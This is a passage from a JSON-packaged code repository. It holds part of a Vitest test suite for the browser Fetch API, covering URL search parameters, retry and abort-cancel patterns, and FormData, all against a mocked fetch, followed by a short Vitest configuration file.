'DELETE'\n      }))\n    })\n  })\n\n  // ===========================================================================\n  // URL AND QUERY PARAMETERS\n  // ===========================================================================\n  describe('URL and Query Parameters', () => {\n    it('should construct URL with search params', () => {\n      const url = new URL('https://api.example.com/search')\n      url.searchParams.set('q', 'javascript')\n      url.searchParams.set('page', '1')\n      url.searchParams.set('limit', '10')\n\n      expect(url.toString()).toBe('https://api.example.com/search?q=javascript&page=1&limit=10')\n    })\n\n    it('should append multiple values for same param', () => {\n      const url = new URL('https://api.example.com/filter')\n      url.searchParams.append('tag', 'javascript')\n      url.searchParams.append('tag', 'nodejs')\n\n      expect(url.toString()).toBe('https://api.example.com/filter?tag=javascript&tag=nodejs')\n    })\n\n    it('should get search params', () => {\n      const url = new URL('https://api.example.com/search?q=javascript&page=2')\n\n      expect(url.searchParams.get('q')).toBe('javascript')\n      expect(url.searchParams.get('page')).toBe('2')\n      expect(url.searchParams.get('missing')).toBeNull()\n    })\n\n    it('should delete search params', () => {\n      const url = new URL('https://api.example.com/search?q=javascript&page=2')\n      url.searchParams.delete('page')\n\n      expect(url.toString()).toBe('https://api.example.com/search?q=javascript')\n    })\n\n    it('should check if param exists', () => {\n      const url = new URL('https://api.example.com/search?q=javascript')\n\n      expect(url.searchParams.has('q')).toBe(true)\n      expect(url.searchParams.has('page')).toBe(false)\n    })\n\n    it('should use URLSearchParams with fetch', async () => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify([]), { status: 200 })\n      )\n\n      const params = new URLSearchParams({\n        q: 'javascript',\n        page: '1'\n      })\n\n      await fetch(`/api/search?${params}`)\n\n      expect(fetch).toHaveBeenCalledWith('/api/search?q=javascript&page=1')\n    })\n  })\n\n  // ===========================================================================\n  // REAL WORLD PATTERNS\n  // ===========================================================================\n  describe('Real World Patterns', () => {\n    it('should implement retry logic', async () => {\n      let attempts = 0\n\n      async function fetchWithRetry(url, options = {}, retries = 3) {\n        for (let i = 0; i < retries; i++) {\n          try {\n            attempts++\n            const response = await fetch(url, options)\n            if (response.ok) return response\n            if (response.status >= 500 && i < retries - 1) continue\n            throw new Error(`HTTP ${response.status}`)\n          } catch (error) {\n            if (i === retries - 1) throw error\n          }\n        }\n      }\n\n      // Mock: fail twice, succeed on third\n      global.fetch = vi.fn()\n        .mockResolvedValueOnce(new Response('Error', { status: 500 }))\n        .mockResolvedValueOnce(new Response('Error', { status: 500 }))\n        .mockResolvedValueOnce(new Response('OK', { status: 200 }))\n\n      const response = await fetchWithRetry('/api/flaky')\n\n      expect(response.status).toBe(200)\n      expect(attempts).toBe(3)\n    })\n\n    it('should implement search with cancel previous', async () => {\n      let currentController = null\n\n      async function searchWithCancel(query) {\n        // Cancel previous request\n        if (currentController) {\n          currentController.abort()\n        }\n\n        currentController = new AbortController()\n\n        const response = await fetch(`/api/search?q=${query}`, {\n          signal: currentController.signal\n        })\n\n        return response.json()\n      }\n\n      // Mock fetch that respects abort\n      global.fetch = vi.fn().mockImplementation((url, options) => {\n        return new Promise((resolve, reject) => {\n          if (options?.signal?.aborted) {\n            reject(new DOMException('Aborted', 'AbortError'))\n            return\n          }\n\n          const handler = () => {\n            reject(new DOMException('Aborted', 'AbortError'))\n          }\n\n          options?.signal?.addEventListener('abort', handler)\n\n          // Resolve after short delay\n          setTimeout(() => {\n            options?.signal?.removeEventListener('abort', handler)\n            resolve(new Response(JSON.stringify({ results: [url] })))\n          }, 50)\n        })\n      })\n\n      // Start first search\n      const search1 = searchWithCancel('java')\n\n      // Start second search (should cancel first)\n      const search2 = searchWithCancel('javascript')\n\n      // First should be aborted\n      await expect(search1).rejects.toThrow()\n\n      // Second should succeed\n      const result = await search2\n      expect(result.results[0]).toContain('javascript')\n    })\n  })\n\n  // ===========================================================================\n  // FORMDATA\n  // ===========================================================================\n  describe('FormData', () => {\n    it('should create FormData object', () => {\n      const formData = new FormData()\n      formData.append('username', 'alice')\n      formData.append('email', 'alice@example.com')\n\n      expect(formData.get('username')).toBe('alice')\n      expect(formData.get('email')).toBe('alice@example.com')\n    })\n\n    it('should append multiple values for same key', () => {\n      const formData = new FormData()\n      formData.append('tags', 'javascript')\n      formData.append('tags', 'nodejs')\n\n      const tags = formData.getAll('tags')\n      expect(tags).toEqual(['javascript', 'nodejs'])\n    })\n\n    it('should set value (overwrite)', () => {\n      const formData = new FormData()\n      formData.append('name', 'alice')\n      formData.set('name', 'bob')\n\n      expect(formData.get('name')).toBe('bob')\n    })\n\n    it('should check if key exists', () => {\n      const formData = new FormData()\n      formData.append('username', 'alice')\n\n      expect(formData.has('username')).toBe(true)\n      expect(formData.has('password')).toBe(false)\n    })\n\n    it('should delete key', () => {\n      const formData = new FormData()\n      formData.append('username', 'alice')\n      formData.append('email', 'alice@example.com')\n\n      formData.delete('email')\n\n      expect(formData.has('email')).toBe(false)\n      expect(formData.has('username')).toBe(true)\n    })\n\n    it('should iterate over entries', () => {\n      const formData = new FormData()\n      formData.append('name', 'alice')\n      formData.append('age', '30')\n\n      const entries = []\n      for (const [key, value] of formData) {\n        entries.push([key, value])\n      }\n\n      expect(entries).toContainEqual(['name', 'alice'])\n      expect(entries).toContainEqual(['age', '30'])\n    })\n\n    it('should send FormData with fetch (no Content-Type header needed)', async () => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify({ success: true }), { status: 200 })\n      )\n\n      const formData = new FormData()\n      formData.append('username', 'alice')\n      formData.append('avatar', new Blob(['fake image data'], { type: 'image/png' }), 'avatar.png')\n\n      await fetch('/api/profile', {\n        method: 'POST',\n        body: formData\n        // Note: Don't set Content-Type header - browser sets it automatically with boundary\n      })\n\n      expect(fetch).toHaveBeenCalledWith('/api/profile', expect.objectContaining({\n        method: 'POST',\n        body: expect.any(FormData)\n      }))\n    })\n\n    it('should parse FormData from response', async () => {\n      // Create a FormData-like body\n      const formData = new FormData()\n      formData.append('field1', 'value1')\n      formData.append('field2', 'value2')\n\n      // Note: In real browsers, response.formData() parses multipart responses\n      // For testing, we verify the FormData API works correctly\n      expect(formData.get('field1')).toBe('value1')\n      expect(formData.get('field2')).toBe('value2')\n    })\n\n    it('should append File objects', () => {\n      const formData = new FormData()\n      const file = new File(['hello world'], 'test.txt', { type: 'text/plain' })\n\n      formData.append('document', file)\n\n      const retrieved = formData.get('document')\n      expect(retrieved).toBeInstanceOf(File)\n      expect(retrieved.name).toBe('test.txt')\n      expect(retrieved.type).toBe('text/plain')\n    })\n\n    it('should append Blob objects with filename', () => {\n      const formData = new FormData()\n      const blob = new Blob(['image data'], { type: 'image/jpeg' })\n\n      formData.append('image', blob, 'photo.jpg')\n\n      const retrieved = formData.get('image')\n      expect(retrieved).toBeInstanceOf(File) // Blob with filename becomes File\n      expect(retrieved.name).toBe('photo.jpg')\n    })\n  })\n})\n"
  },
  {
    "path": "vitest.config.js",
    "content": "import { defineConfig } from 'vitest/config'\n\nexport default defineConfig({\n  test: {\n    include: ['tests/**/*.test.js'],\n    globals: false,\n    environment: 'node'\n  }\n})\n"
  }
]